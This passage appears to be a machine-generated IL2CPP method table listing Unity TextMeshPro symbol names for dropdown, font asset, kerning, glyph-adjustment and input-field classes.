TMP_Dropdown__cctor_m21922141D95DE2A970D329524BA00A601D6DAFB1,
DropdownItem_get_text_mBE92632907F1772753BC60A7FE1E5358077E6FD4,
DropdownItem_set_text_m7C30C7E6DEE86A8896B99A872C5934D6F0B234F2,
DropdownItem_get_image_m1C89F635266FD742D3542FA99DB1A0D224CFD270,
DropdownItem_set_image_m133BCC7D7320DC10EBBF5193FAE0E60C3F9A15C2,
DropdownItem_get_rectTransform_mFE9F9A7B8259B150E399A40F9BE3555DC3273926,
DropdownItem_set_rectTransform_m0C6BAB5E2EB69C438BF2F8D4DDE3E0DE136651AD,
DropdownItem_get_toggle_mCC7B7993BF2AB865B2B6B82472391D5B1AB873D3,
DropdownItem_set_toggle_mBD6E9CFB6C3757CB013CB683A8BB6DAFF34A94FA,
DropdownItem_OnPointerEnter_m6020D4A90F1136573E7173875329573C07219B3D,
DropdownItem_OnCancel_mD75155CB0FBA2A6FF217AC54CD0651061E830B5E,
DropdownItem__ctor_m3A599BCBC6EEC74EA7CFE8D6AED4080D041BBE65,
OptionData_get_text_m2E822D5D50B597BFBA7AB3485EF15B526A726A1A,
OptionData_set_text_mFF1E8A215A399CB9EA9DDFB0C6F3B9F068837226,
OptionData_get_image_m5C866E5C2E025EABF5591C7F88FB46E426EF20BA,
OptionData_set_image_m17048079C3FCD19A6D190AAEBA198DBB74D93C88,
OptionData__ctor_m5B8E6B683070AB406FA738E689E2FD4055697FB6,
OptionData__ctor_mC08B019055F1AFA7CFC262EF24A64F6D8E7C84E6,
OptionData__ctor_mFB73CF17AD7974CEBAA97EB2C90B2E37FB624065,
OptionData__ctor_m19DDCFEF4911D4F1E6D07F5CE9924AF555CB4EC5,
OptionDataList_get_options_mBC2E351252449F2B611857D18B396CEDF2289781,
OptionDataList_set_options_m826C957D08679C2620276456BCD535D148640174,
OptionDataList__ctor_m698166937E8E51F44FC2CCE7B3EF7BDA3932645B,
DropdownEvent__ctor_m65812C2BBC12188466CE844E9EC223B89E0946C1,
U3CU3Ec__DisplayClass69_0__ctor_mD126C84DF1978CB7709CC2B7374265951604D581,
U3CU3Ec__DisplayClass69_0_U3CShowU3Eb__0_mE6A18CF6156B45C4052F1CBF0707DAB544ABA722,
U3CDelayedDestroyDropdownListU3Ed__81__ctor_mFA83B08D54630018817A4BF76653AFDD3B1F8F69,
U3CDelayedDestroyDropdownListU3Ed__81_System_IDisposable_Dispose_mA124316B9DB4950F9756BDB797488D41F72383CD,
U3CDelayedDestroyDropdownListU3Ed__81_MoveNext_mA1EBFA3FA05EF54A866C4C59793A1B9A2D1C9E70,
U3CDelayedDestroyDropdownListU3Ed__81_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_m39BF9EDA0A38F97C5D75B53E1EF3954A3F58DE1F,
U3CDelayedDestroyDropdownListU3Ed__81_System_Collections_IEnumerator_Reset_mB0690A94BB4E305E068156253A5D0F9044C7A101,
U3CDelayedDestroyDropdownListU3Ed__81_System_Collections_IEnumerator_get_Current_mFFDC09A7ADBA08CB2BE7D2DE3F83C54F5418F8F0,
TMP_FontAsset_get_version_mD6CCB4A7D6F1FD5C46C65A0711426299D50B2AFE,
TMP_FontAsset_set_version_m7E9B93F4FDCE9EF03EDE8EA1245C522AFC61DE02,
TMP_FontAsset_get_sourceFontFile_mD9B0F4FCBBCDCAAE5A370399DDE46C768B736722,
TMP_FontAsset_set_sourceFontFile_mD3E145F204C872196FAE7DF1B97724C43BE24377,
TMP_FontAsset_get_atlasPopulationMode_m31A707178FB4F1722BA7D090A8E169CE2FAEB19F,
TMP_FontAsset_set_atlasPopulationMode_mE002B4CEA0FB2CA8A52C77820B054165881E4FA4,
TMP_FontAsset_get_faceInfo_m1EB979B4CA53AA9EC5B09C445E28C24A477CBA6F,
TMP_FontAsset_set_faceInfo_m711C454A1E8FE2B5DF455B6673257187B4C65B39,
TMP_FontAsset_get_glyphTable_mF205AA67646F5B0D2642CCBD2C1386F9DDDB8BCA,
TMP_FontAsset_set_glyphTable_m4604AAE8FFF44D5129D1BA4DB8354EB850550528,
TMP_FontAsset_get_glyphLookupTable_m8793591000281F1CA28F3B9BDB8ACD3316BA64BB,
TMP_FontAsset_get_characterTable_m8447F604F2D0F3615DA9AC1EBF5C289E112EDDF6,
TMP_FontAsset_set_characterTable_m00ADF21D5EC39D8DC306332253F7123C82AED02B,
TMP_FontAsset_get_characterLookupTable_mEFAADDFAA6233DFEC3A0D8C163588B3C678451E9,
TMP_FontAsset_get_atlasTexture_mC44D519047CD3E54BD92AB8FE6773034F990AC7D,
TMP_FontAsset_get_atlasTextures_m80D4DF83161F39AC7D06B0B097038B1E02AFE307,
TMP_FontAsset_set_atlasTextures_m5FED84FD7829C6B72E5937EC8DB9F844E654E937,
TMP_FontAsset_get_atlasTextureCount_m45F8A9CA48B566FF57230414BC298846FB0DD407,
TMP_FontAsset_get_isMultiAtlasTexturesEnabled_m0F308BCE9267BCAB86BBF7CEF0CBAE302BF5E8C0,
TMP_FontAsset_set_isMultiAtlasTexturesEnabled_m1EBFF9BBDE2D2A4E0B754FB1CCC45B76B0F1FA10,
TMP_FontAsset_get_clearDynamicDataOnBuild_m0D55A98AE41E211EE960F57F0A835A6FBB627B13,
TMP_FontAsset_set_clearDynamicDataOnBuild_m74DA616F7435271D377E7092D3B7BB2A95EB7EAD,
TMP_FontAsset_get_usedGlyphRects_m6E5D5A9E86583AE37DA1ABD7F184A7F359C9627E,
TMP_FontAsset_set_usedGlyphRects_m75EC42D8C57FFCA998DC859C5B6D91D03F7C1615,
TMP_FontAsset_get_freeGlyphRects_m093618A6748A2CB3C23904B03E5AD85B4B04521D,
TMP_FontAsset_set_freeGlyphRects_mC976815EFF6313591B1B2A4CFFF9C77249570DC1,
TMP_FontAsset_get_fontInfo_m88825262BEC22C48EB4854A09CD31908024777FD,
TMP_FontAsset_get_atlasWidth_m45CB71477140814BBFF666E9179D0F9BFFA03EFC,
TMP_FontAsset_set_atlasWidth_mBF3960711180E34BB43393B4AA9951DC82B3535E,
TMP_FontAsset_get_atlasHeight_m95F59523E66882079E1D2A4157DE5FF52C4892AC,
TMP_FontAsset_set_atlasHeight_m1272E53248672683B4210DC23137D7F270CFE81C,
TMP_FontAsset_get_atlasPadding_m556957263DC5F92E8EAA8460635860E96ACBD616,
TMP_FontAsset_set_atlasPadding_m3113EAFFC2BFEE6B95D5371D0325A8284CFBDA4B,
TMP_FontAsset_get_atlasRenderMode_mF139904718DC44F83E657D2FB175A52B45B4FFAC,
TMP_FontAsset_set_atlasRenderMode_m82C0939AEF473FB4A319457D4B6B7E67F36059BE,
TMP_FontAsset_get_fontFeatureTable_mF00EEAEDD0448BE4667CB959CCE79ED45D2300AE,
TMP_FontAsset_set_fontFeatureTable_m1FFFA492C09D14639BA2FA94B334758AC5E1B009,
TMP_FontAsset_get_fallbackFontAssetTable_mE0C2D8D8A55C5E2FAAB13CE0A5591C82F1AAF15A,
TMP_FontAsset_set_fallbackFontAssetTable_mEFEEF51CD10815BE4CED7C0D356041401FB8BC1E,
TMP_FontAsset_get_creationSettings_mC0B2DC9BAFE3BECB8F00A82C586B45FD0B2C9F6F,
TMP_FontAsset_set_creationSettings_m81E03C271762A9134DEA4A3A8EA2EA47078DB000,
TMP_FontAsset_get_fontWeightTable_mC27EC0A27F82292FB24E3AB7B87421AEFD0869DD,
TMP_FontAsset_set_fontWeightTable_m9E22B6BBDB11B70D6696C79F6E1B85F4D3183B5E,
TMP_FontAsset_CreateFontAsset_m9DD7036A85B51299FF1F311D7627FAD669BD6372,
TMP_FontAsset_CreateFontAsset_m762BC2630D840C890BBA39566366BA8A48242C15,
TMP_FontAsset_Awake_m2B709B96B357084D0D82D4DFC69AABB73061FB21,
TMP_FontAsset_ReadFontAssetDefinition_mC268F8946D0D6B28BABB3BF28FDF64FABDA2DF93,
TMP_FontAsset_InitializeDictionaryLookupTables_mEB2EEBAF42E2F540C08EE513E9C03D814E6213C3,
TMP_FontAsset_InitializeGlyphLookupDictionary_mFAED66009A159849EC515F922317CA629B3DF1F3,
TMP_FontAsset_InitializeCharacterLookupDictionary_m598F2AE1FBDE1D58002C4C89371B8FEF1AE61C7D,
TMP_FontAsset_InitializeGlyphPaidAdjustmentRecordsLookupDictionary_m0A997B751301AB9C3D3A495D02462B116CEE08B5,
TMP_FontAsset_AddSynthesizedCharactersAndFaceMetrics_m4B60AD7CEE8FD7A1DA1EDCAFC6A55E4762F174BB,
TMP_FontAsset_AddSynthesizedCharacter_m1BCF99FA52D4BEC7EF4C599ABA57270A444F9903,
TMP_FontAsset_AddCharacterToLookupCache_mA1A087CCE0961AB0FDE7032A5592BECC31FDE76E,
TMP_FontAsset_SortCharacterTable_mDC720A14A27EA7CBAFCBD87B376379A177A20E8E,
TMP_FontAsset_SortGlyphTable_m9A2A9FC31D2388CC762B28BC821AB380CCFCDBCE,
TMP_FontAsset_SortFontFeatureTable_mA987AB015B7897DB1503B295D26565CFAEAB010F,
TMP_FontAsset_SortAllTables_mB36ED96BA086B55246208EF70C141199131FAA5C,
TMP_FontAsset_HasCharacter_mA90CDB3FAED3495F38016D37AE6EB47AFF5F9B3F,
TMP_FontAsset_HasCharacter_mBCA92C1927170D017B189B711EAFF3B94D09E5C2,
TMP_FontAsset_HasCharacter_Internal_m3BEAA9D7D0F4794B1C70CC846AFFCEA2664977E6,
TMP_FontAsset_HasCharacters_m4FE851AD87F33A07C2ACF1E6EB3EBD53CE79D3BC,
TMP_FontAsset_HasCharacters_mBFCB2CF8940F3C6B932EB5FDC7DAA08EFCB57190,
TMP_FontAsset_HasCharacters_mD2F9B73092E10B96039C1167BE7C5071B9954AD8,
TMP_FontAsset_GetCharacters_m9555BE7F8D0F68BD457531A516BCA56EA3BD0A05,
TMP_FontAsset_GetCharactersArray_m857E7DC1EC97B28DE2D070869846DECBA32A3F64,
TMP_FontAsset_GetGlyphIndex_m22E9BF763EC7252C7FCD1D89B97AE424FAF7C957,
TMP_FontAsset_RegisterFontAssetForFontFeatureUpdate_m462AD17BF58378EF2B0A9BB139BAFB4DB6E54D15,
TMP_FontAsset_UpdateFontFeaturesForFontAssetsInQueue_m5DB200E1B88AEE4F088903B55ED6079E97B5C782,
TMP_FontAsset_RegisterFontAssetForAtlasTextureUpdate_m9B1C54FC7371EF47A160C009D4335FFB8A26F100,
TMP_FontAsset_UpdateAtlasTexturesForFontAssetsInQueue_mD874106E2E98ABE06A57496E99DC1BF5633704EE,
TMP_FontAsset_TryAddCharacters_mC2E29947A0696751B70B643959C787825BEE0A99,
TMP_FontAsset_TryAddCharacters_m007642E36561CCCBB6412F12387011A113E7CB58,
TMP_FontAsset_TryAddCharacters_m790E9AC68D5E0B177490733D1BC69CA42B04CDB1,
TMP_FontAsset_TryAddCharacters_m899ED242A4630FA7A60DD9EDC140C5E6508A8517,
TMP_FontAsset_TryAddCharacterInternal_m95DD37F41C18EE7692B44DCD984CD12C2350C122,
TMP_FontAsset_TryGetCharacter_and_QueueRenderToTexture_m7C957763D146CEBEE8CE749B147DBDAD9D7D16E9,
TMP_FontAsset_TryAddGlyphsToAtlasTextures_m7498D7F7102E6B35C41CE28CE0A60AAE9228DC47,
TMP_FontAsset_TryAddGlyphsToNewAtlasTexture_mD885238E48514F6063212EA6964ECC32F4F1D4FB,
TMP_FontAsset_SetupNewAtlasTexture_m01889BA60E325103E4BB5A8B2D6AA8EB0CDA9B92,
TMP_FontAsset_UpdateAtlasTexture_m748FA0BD4B0A8C835518565D119585ED7B9A209D,
TMP_FontAsset_UpdateGlyphAdjustmentRecords_m8530223EDCBEB89B965D763C65AC194F144C2C23,
TMP_FontAsset_UpdateGlyphAdjustmentRecords_mAD7016C52AE74A9F7482D6CCCE7F7319E78229FF,
TMP_FontAsset_UpdateGlyphAdjustmentRecords_m04C430C2BBEBD156F4125657D24D2B8370DB991F,
TMP_FontAsset_UpdateGlyphAdjustmentRecords_mC1E677EF9FB0B1E4400B4790468E542B5360B7CD,
NULL,
TMP_FontAsset_ClearFontAssetData_mB81DC841D38B3AC504B53D0920D86E6E4E56596D,
TMP_FontAsset_ClearFontAssetDataInternal_m060146345FFE228F634C73F623C99666639773E2,
TMP_FontAsset_UpdateFontAssetData_m093EFEDF92C4667C5A92C6180B30A2F532C5C88C,
TMP_FontAsset_ClearFontAssetTables_mC1F9BA41514D50F1E5A9CDAD3A845D90ADB98D56,
TMP_FontAsset_ClearAtlasTextures_m9B1D7B0F65146FF93ECDE10DFC286D8A38D5C007,
TMP_FontAsset_UpgradeFontAsset_m97EF749DD42303D0AF9EF5C120832CA697F9DAC1,
TMP_FontAsset_UpgradeGlyphAdjustmentTableToFontFeatureTable_m3C51FF9BA35FBA397791A4EFAAFB4B413553F492,
TMP_FontAsset__ctor_m20A531FC2F5114F9D1B98B38E06ACE46AF3403EC,
TMP_FontAsset__cctor_m7F024C85C2C034E2E7D1BE1967FF324D6049AF52,
U3CU3Ec__cctor_m030E18D3E762DD9AF27ECEDF83A40ACF1036C279,
U3CU3Ec__ctor_mFF3DD36E78B4295FBBC0AEA2BC2B5D1C50E3FDC4,
U3CU3Ec_U3CSortCharacterTableU3Eb__124_0_m6AEE1B8840F16BB5E083850B57EAF42151BC2781,
U3CU3Ec_U3CSortGlyphTableU3Eb__125_0_m19A43542E1087AC697E12E01BCD19D210B3C7E51,
FaceInfo_Legacy__ctor_mCDDCBA8EA56302A85281073F59AF8CF669DB5260,
TMP_Glyph_Clone_m4E28AEB110CBF5731A1599A620EE46E2C6045923,
TMP_Glyph__ctor_mEAE3F4DA2D1BDC556A578BAAA15BD354183AE2A8,
FontAssetCreationSettings__ctor_m9A07F1B7C85235E9BDA86E7505E0A5AE0B78E5BA,
KerningPairKey__ctor_m76933735460799247D37F13189B62469E35C767B,
GlyphValueRecord_Legacy__ctor_m6E3D36058693888F61D14BA825F5F29EA4FC7033,
GlyphValueRecord_Legacy_op_Addition_m9FE624422D0FEDA348A0AF04019E10ADF36F5AE2,
KerningPair_get_firstGlyph_m8B473F310BB1D0E83BE4DB2E9C395C97E578BDCD,
KerningPair_set_firstGlyph_m558F1AB56DF0BC72921E60524E906B3308EF6254,
KerningPair_get_firstGlyphAdjustments_mDD893850E04A182C37A2360992AE0F352E585600,
KerningPair_get_secondGlyph_m7F0717E0FE69CCE0ECFFB39680839D2734C095F0,
KerningPair_set_secondGlyph_m73FF4FD9F0409E3B2FC7DBC542C47DEC6E6979B5,
KerningPair_get_secondGlyphAdjustments_m04BE3DDED12C198E109C8E176E8BD8A4D49B0358,
KerningPair_get_ignoreSpacingAdjustments_mAF52BE99F08941D553BB53FBD6FA02391A1CE07C,
KerningPair__ctor_mE4BD600F9F79E3590C13CE3F1C7BC89693420416,
KerningPair__ctor_m7AB7CD68A07A7BD8B1CB2A41C84EA8115F3ED974,
KerningPair__ctor_m97D222190FBC36A6C9843C7CB8F4E5F0CF963A11,
KerningPair_ConvertLegacyKerningData_mEA902FF8F87D8EEB50C054172D20CA9795ED1D11,
KerningPair__cctor_m6FD8BEF06BC135F4BE6815FC9569F6954795A41E,
KerningTable__ctor_m5D6DF57B05146E104A2756917A31C27D0CC7A108,
KerningTable_AddKerningPair_mBAF75C93E61FAEE9998A2EE648119E723B8BE020,
KerningTable_AddKerningPair_m4392E91557C580125D59C4018E880D056476CE89,
KerningTable_AddGlyphPairAdjustmentRecord_m3542CA49AAE214B069445C85916D73C339EAF7E2,
KerningTable_RemoveKerningPair_m5FCDFF2DC4CAADDD361D70158DEA5E0A43010469,
KerningTable_RemoveKerningPair_mEE2E6198028618C0A5055AEE1A2D1DBB7F108DAD,
KerningTable_SortKerningPairs_m59E143CF7D8EFC9E72ABA558A6680A6B3B86161B,
U3CU3Ec__DisplayClass3_0__ctor_m5B27602FA83CA988234ED481E13726F7ACFDEDFD,
U3CU3Ec__DisplayClass3_0_U3CAddKerningPairU3Eb__0_mE8621E8C8419041EA962313967C9B22DADB7EC59,
U3CU3Ec__DisplayClass4_0__ctor_m7835A094259518636DCEBD5D5F5AC88B48799B4D,
U3CU3Ec__DisplayClass4_0_U3CAddGlyphPairAdjustmentRecordU3Eb__0_m0457EDA34868349FD7DF84F23C8EC201BBA2FE4A,
U3CU3Ec__DisplayClass5_0__ctor_m3718024C98F2CB240337703C272C56F9D60E0D86,
U3CU3Ec__DisplayClass5_0_U3CRemoveKerningPairU3Eb__0_mDD3433EA90C0CAE26949E21FBB418FF2DA10E509,
U3CU3Ec__cctor_mCA07A3C5B0C09DC5241EFC69E3808950EDF1078E,
U3CU3Ec__ctor_mD36FC6FECCA7288F1C50E1C1C33357CB9CBD141A,
U3CU3Ec_U3CSortKerningPairsU3Eb__7_0_m20BBABBDA17C6FD8E15138433B9D7FF73FC93183,
U3CU3Ec_U3CSortKerningPairsU3Eb__7_1_m6B19D6F1591A26B21706695288AE73FB9B26C470,
TMP_FontUtilities_SearchForCharacter_mAF085AC138D365A9105E5E1CAFF333449DFC392F,
TMP_FontUtilities_SearchForCharacter_mB45D07CF789BD7E2367D6DA6B5C597E77BD6BC41,
TMP_FontUtilities_SearchForCharacterInternal_m8F9509F42C7CA4571E9F442C067F50D03B740DBF,
TMP_FontUtilities_SearchForCharacterInternal_mAD29348D7CEDC8B84347E2C5372D13203E346103,
TMP_FontAssetUtilities__cctor_mF9D77DA738160F756E84EC29D70B2302AB4E4C05,
TMP_FontAssetUtilities_get_instance_m5B6177BFCA131583D64E0EB2A80D74A392E8E1A0,
TMP_FontAssetUtilities_GetCharacterFromFontAsset_m7C71B7CDCBE11E82D7152BFC72B5006E3E671063,
TMP_FontAssetUtilities_GetCharacterFromFontAsset_Internal_m1862AE751CC6DA86B4424DA82B27B0C5073A237C,
TMP_FontAssetUtilities_GetCharacterFromFontAssets_mD811EFBC16E08263EB7793465CD4A840A24423F3,
TMP_FontAssetUtilities_GetSpriteCharacterFromSpriteAsset_m5AAE0164B09274F8B314E0169277766ACCD7F02E,
TMP_FontAssetUtilities_GetSpriteCharacterFromSpriteAsset_Internal_mA591B4D26EF45A56994E67F285F21A68156EC4D7,
TMP_FontAssetUtilities__ctor_m8F25AE77B581CFF45180EF5FABBB4688608FDA02,
TMP_GlyphValueRecord_get_xPlacement_m3BB0AE22AA4B44163AD2BFB438E60E227523D5E7,
TMP_GlyphValueRecord_set_xPlacement_m12D97CDB7F44213ACBB3C015B5E88147147850A2,
TMP_GlyphValueRecord_get_yPlacement_m4FC0DDE3029083A45158537122D3BC3391DF2143,
TMP_GlyphValueRecord_set_yPlacement_m21EE385F1B674F9A575FFE6583A7E9035CFA2C24,
TMP_GlyphValueRecord_get_xAdvance_mA01138133A0841ADC49C3D0718B2268D9819CE4B,
TMP_GlyphValueRecord_set_xAdvance_m862DABDFC3FF1C78E6A4C655A6C5631B905370E9,
TMP_GlyphValueRecord_get_yAdvance_m6F2282B9DF89F62B52A07D36327CC39720225BA3,
TMP_GlyphValueRecord_set_yAdvance_m5369AC719C39D3B9B79F5FEDC85C109754A4D60E,
TMP_GlyphValueRecord__ctor_m030CD9864F16A5FB58D41ECD6CF66EC883B078BA,
TMP_GlyphValueRecord__ctor_m5F96BB76417057AB3AC83120DA921295DBCA9952,
TMP_GlyphValueRecord__ctor_mFE317398DD11D070520A083E7C0758D7FD862F11,
TMP_GlyphValueRecord_op_Addition_m23C3133D88237C808C8623897F39280BCE880C21,
TMP_GlyphAdjustmentRecord_get_glyphIndex_m5DE8A84366AD7DC8B32D99B47D2BFE291F3C4F34,
TMP_GlyphAdjustmentRecord_set_glyphIndex_m3045246D7E256A1DEC17ADE2887BCEB013DF2DBB,
TMP_GlyphAdjustmentRecord_get_glyphValueRecord_m1368E9CA86E6E76E04901506445319BAEFD6AA56,
TMP_GlyphAdjustmentRecord_set_glyphValueRecord_m47A43D4E95C3A89DC17588C3BE7F093517B4EBE9,
TMP_GlyphAdjustmentRecord__ctor_m41FDDFADD92DB1A8446228B1108E3E5C985CAAE0,
TMP_GlyphAdjustmentRecord__ctor_mB6BB797DD594B413042DD5D4FB8D691430FC8F51,
TMP_GlyphPairAdjustmentRecord_get_firstAdjustmentRecord_m4782831AE89EF77464166E4EB47C251B8483A458,
TMP_GlyphPairAdjustmentRecord_set_firstAdjustmentRecord_m795F115F13680DDAA3F4BCED9902C3CE3C8A497F,
TMP_GlyphPairAdjustmentRecord_get_secondAdjustmentRecord_mF238079D6ADF0E2D6BE59D48758E13C2ED2F2B32,
TMP_GlyphPairAdjustmentRecord_set_secondAdjustmentRecord_mAE3695EF425238B8F692F1808BF9055E63AEF98A,
TMP_GlyphPairAdjustmentRecord_get_featureLookupFlags_mAAFBDA6BE590EC3C085CA1537384CB1D97390691,
TMP_GlyphPairAdjustmentRecord_set_featureLookupFlags_m20C444D8AAE7A18E0B767B385272AE28C21007AB,
TMP_GlyphPairAdjustmentRecord__ctor_m0BCCF9AF25F0A727D02FD778ACA2C7AD38F981CC,
TMP_GlyphPairAdjustmentRecord__ctor_m33C61225BE06EEB15E3AD599451078F503BA4A60,
GlyphPairKey__ctor_m59DDEB66E800AABAEF624BCCF1CE091F27F124A2,
GlyphPairKey__ctor_mB1A0951B06F19D942015727B646A530A9EB68577,
TMP_FontFeatureTable_get_glyphPairAdjustmentRecords_m00772830EC8C026F17A21CBC39D26FC4D0A49FB2,
TMP_FontFeatureTable_set_glyphPairAdjustmentRecords_mCA20A72ABB8E829EE3C258B305143166EF220D62,
TMP_FontFeatureTable__ctor_m6F156B35A4B68F5616CFD3236C64F1E790D69039,
TMP_FontFeatureTable_SortGlyphPairAdjustmentRecords_m8BF5A029B84FF32BFCF4B32AD3D32F463DD050BD,
U3CU3Ec__cctor_m4B32C0F7803D39CB769E114666BE8DA5B072F973,
U3CU3Ec__ctor_mE70BB44A038503EE1979AD30BA141C6792A5160A,
U3CU3Ec_U3CSortGlyphPairAdjustmentRecordsU3Eb__6_0_m6E8D8B97DDFB03B6EF69ADF2E85D412411D50075,
U3CU3Ec_U3CSortGlyphPairAdjustmentRecordsU3Eb__6_1_m12FAD67963FC77E6B359185D50EE168FCB5F7095,
TMP_InputField_get_inputSystem_mB89A77F46D53CCD05D9F57E03F4586B90265A55A,
TMP_InputField_get_compositionString_m4332AACD655CF044F84411B3BCE32BF2034AC4CC,
TMP_InputField_get_compositionLength_m444E57B7F68C9AECE1CDEBF4732FAD66EBA4937F,
TMP_InputField__ctor_m6C5321A190D58235E29A17D7EE17D249D210A07B,
TMP_InputField_get_mesh_m200F4FCC0738B54A3DFED98FF430660DB52E3E00,
TMP_InputField_get_shouldHideMobileInput_mB40438A3E4172E95CE11F03FD2484E954CDB1F1B,
TMP_InputField_set_shouldHideMobileInput_mB1D2ADC209DE64154BAD42C2D25BFDA27081BB9B,
TMP_InputField_get_shouldHideSoftKeyboard_m08F3F6AB9DC9A89029B6A41E26F42B7222535790,
TMP_InputField_set_shouldHideSoftKeyboard_m0414B5C0C3B07F0371671963D699EEA303D8A13E,
TMP_InputField_isKeyboardUsingEvents_mE8A5552B89353CF45DBC4206F55ED41EB7C0F273,
TMP_InputField_get_text_mA4ACBF52435893D9DFD822A492454301740B3C6A,
TMP_InputField_set_text_m684E9CDA2D9E82D1C497B5E03DBE79C00584FF62,
TMP_InputField_SetTextWithoutNotify_mE5ED91EB1759228F56E15A0E4BF47A7F8E28AB23,
TMP_InputField_SetText_m8D34D265867AA18228AA10E118A2DFE630911BFE,
TMP_InputField_get_isFocused_m7FD1AA3B92404C30596FF6EE5F644757A2F060DE,
TMP_InputField_get_caretBlinkRate_mACAF2093330BB9CB0B8C5F7D76EAA4EB0AE4DD18,
TMP_InputField_set_caretBlinkRate_m4D4B8F3C2169EE3FA7B27BECBD1563BFAD7B41F7,
TMP_InputField_get_caretWidth_mA95E0A88F505D9618791AEDE9D649CA70F7E3B65,
TMP_InputField_set_caretWidth_m291DBA8BEF0BD40BB4FAEE2AC71F9CDD114FAA9A,
TMP_InputField_get_textViewport_m51E9CFB11A78199484D2BC2750F19DB7D2A26763,
TMP_InputField_set_textViewport_m3CB40F8DD0636EFBA496F1E76D41EE9C9570CB17,
TMP_InputField_get_textComponent_m85C4BC3F4C18206B3B942F03DB0B953B028EE1CE,
TMP_InputField_set_textComponent_mCECC9B18AE37E999E5B38431D89C17B9BE384E07,
TMP_InputField_get_placeholder_m6C5FDEB031E2900A1792B928E4864B21B144AB3C,
TMP_InputField_set_placeholder_m597012397FF55E6DE7E5E63972A3BE03EEAC480A,
TMP_InputField_get_verticalScrollbar_mCB3FAFA0D86926FCD1A6620009BF3AEB274F17DD,
TMP_InputField_set_verticalScrollbar_m8863C8FDC647B006DC8DAD8C3EDCF6353E08F945,
TMP_InputField_get_scrollSensitivity_m219F37C4A7DF784B9522EE565AE70EB813E799A8,
TMP_InputField_set_scrollSensitivity_m67129EC21A5560B781F61CB5C2282F977EB9AE12,
TMP_InputField_get_caretColor_m9733E1CB5CAD3CCFA9C32343D12F0095BA6DC76F,
TMP_InputField_set_caretColor_mAF2AF8646B44D6AAA885F2A664DB88431E22177C,
TMP_InputField_get_customCaretColor_m566EC393CFD6206101A2E0BE5AA2BB9D7233CF19,
TMP_InputField_set_customCaretColor_m9A33CA9154050A1C09881207B9C7B832B6C44B6B,
TMP_InputField_get_selectionColor_m99D5B9FBC11FEAA170C113FB238120A73429F5BB,
TMP_InputField_set_selectionColor_m9B30F4DC90BBD21ECDA6B5888F2F8E4B2EC7686D,
TMP_InputField_get_onEndEdit_m0CE9718C71A834CC279430E20DC7FF4F42114FD3,
TMP_InputField_set_onEndEdit_mE34D6037D2C9FCAE1C9AF253D34D72541D306F4A,
TMP_InputField_get_onSubmit_mAA494FA0B3CFFB2916B399BD5D87C2E1AA637B90,
TMP_InputField_set_onSubmit_m0FD1B91CB6BDD3864C74BFDBC458DF0C3B2EA193,
TMP_InputField_get_onSelect_m6762226148A4B3265EE5FD70ED894BBE8DE86AF0,
TMP_InputField_set_onSelect_m0D471B94B9358B9AD840B3F5E2A756C1D5DACD1F,
TMP_InputField_get_onDeselect_mC9429495032728AEE8FCB818D61EDFB5DC7F9B0A,
TMP_InputField_set_onDeselect_m13E94D8DA5530F8E6B438D98E1C8B801E3702006,
TMP_InputField_get_onTextSelection_mEBA14AF8E2BAF100DE885B78385F510A8E978A33,
TMP_InputField_set_onTextSelection_m52044BF605C6084CC95CB9D492652BA29D4E5699,
TMP_InputField_get_onEndTextSelection_mB01ED58A536B3DCC323A974C27C50337EAC7CAD5,
TMP_InputField_set_onEndTextSelection_mAF020E9DF7C78B4A16653D2F5F77C8B78B474C67,
TMP_InputField_get_onValueChanged_m407B5F5BFD1F4B04032F6B90B06F5072F5993407,
TMP_InputField_set_onValueChanged_m2C1B41AC850107D098E1D8BC481D23ED5310952E,
TMP_InputField_get_onTouchScreenKeyboardStatusChanged_mF14075CDC1B4C99F300FCAD70350CDF144CB4818,
TMP_InputField_set_onTouchScreenKeyboardStatusChanged_m7AC290C056FF92BFA6558AEEE89E10BAC48A92CA,
TMP_InputField_get_onValidateInput_mF293BE6DE7AAA1F8E37E20B73418A639A8963A7D,
TMP_InputField_set_onValidateInput_mDA2BDCF7BFA9F24D48BA27027B9BCD366164C972,
TMP_InputField_get_characterLimit_m59833E0A22BACBDF3EDA6A70A30B87272FBAA409,
TMP_InputField_set_characterLimit_m64ADC294FC147C1E0806B5C175B9EA626059D4DC,
TMP_InputField_get_pointSize_m2F9C02B8B2E8501799E118F3FC1675DB1555EEB3,
TMP_InputField_set_pointSize_m5001D4D1325CE0737CAA65D86ACAB2D88DAA87C3,
TMP_InputField_get_fontAsset_m9EAAF4737728BB51C8D5D7A1AC46E77DD970F176,
TMP_InputField_set_fontAsset_mB102F697B83B5115F2E4B30A076FE67D30BCA201,
TMP_InputField_get_onFocusSelectAll_m6A1A06461D6B01EE2E68624B9D7E5E3C7D092CDC,
TMP_InputField_set_onFocusSelectAll_mDC9C36C7201E90054B97AE94251577ABB103FD75,
TMP_InputField_get_resetOnDeActivation_m6BB1C27CCFB72767235B459ED4F3A81965273771,
TMP_InputField_set_resetOnDeActivation_mCB035C9EADE4A6896C42DDCEC996D00D4A7F6CB2,
TMP_InputField_get_restoreOriginalTextOnEscape_m138E8AAD613E1A3693B8B9E6469B6450F86D367D,
TMP_InputField_set_restoreOriginalTextOnEscape_mA8F67F61689BBD34C3B4811DAD7380253EA8069C,
TMP_InputField_get_isRichTextEditingAllowed_mBF19A7F1ECC8F9C2F06D1D7636F45882E671CCB3,
TMP_InputField_set_isRichTextEditingAllowed_m3BEB725A42ACC0CD7990E36B4B707AB892EA8B21,
TMP_InputField_get_contentType_m32EEDFC275E9CB6C759A4F117EBAA40336B9030D,
TMP_InputField_set_contentType_mB9BCF78B6868FBB3CDE671DDF008E3716D3ADC91,
TMP_InputField_get_lineType_mE221F133A310EB6C93DA24E1F5900E948771D64C,
TMP_InputField_set_lineType_m0B3A3770A8229ABCDF139F80765FC6C3A659FD21,
TMP_InputField_get_lineLimit_m771801BE2D9D7F788EDA1F90336929FC54193D9F,
TMP_InputField_set_lineLimit_mD645AAD616399138A50AA905E8A8CD4B5B177B62,
TMP_InputField_get_inputType_m93A6CC8FF76412F46471D91952323CE4C63B7D34,
TMP_InputField_set_inputType_mF1647C27280C29CE45DB74457ABF43B46A19366C,
TMP_InputField_get_keyboardType_m8B616A743B2FAB03C6263F1582171BB390F94F8B,
TMP_InputField_set_keyboardType_m97210FB5D41B6AAE5352D2BD6C1D45AF8174FC95,
TMP_InputField_get_characterValidation_m57E36C62FC9E23DB17F440BA4325A314EF0B0679,
TMP_InputField_set_characterValidation_mE2D042600CF00A3F5D8EFF09271C0FCDCE324D4C,
TMP_InputField_get_inputValidator_mF47AEABCFD04F4F9FE7F7C64331A8B01B7976CF7,
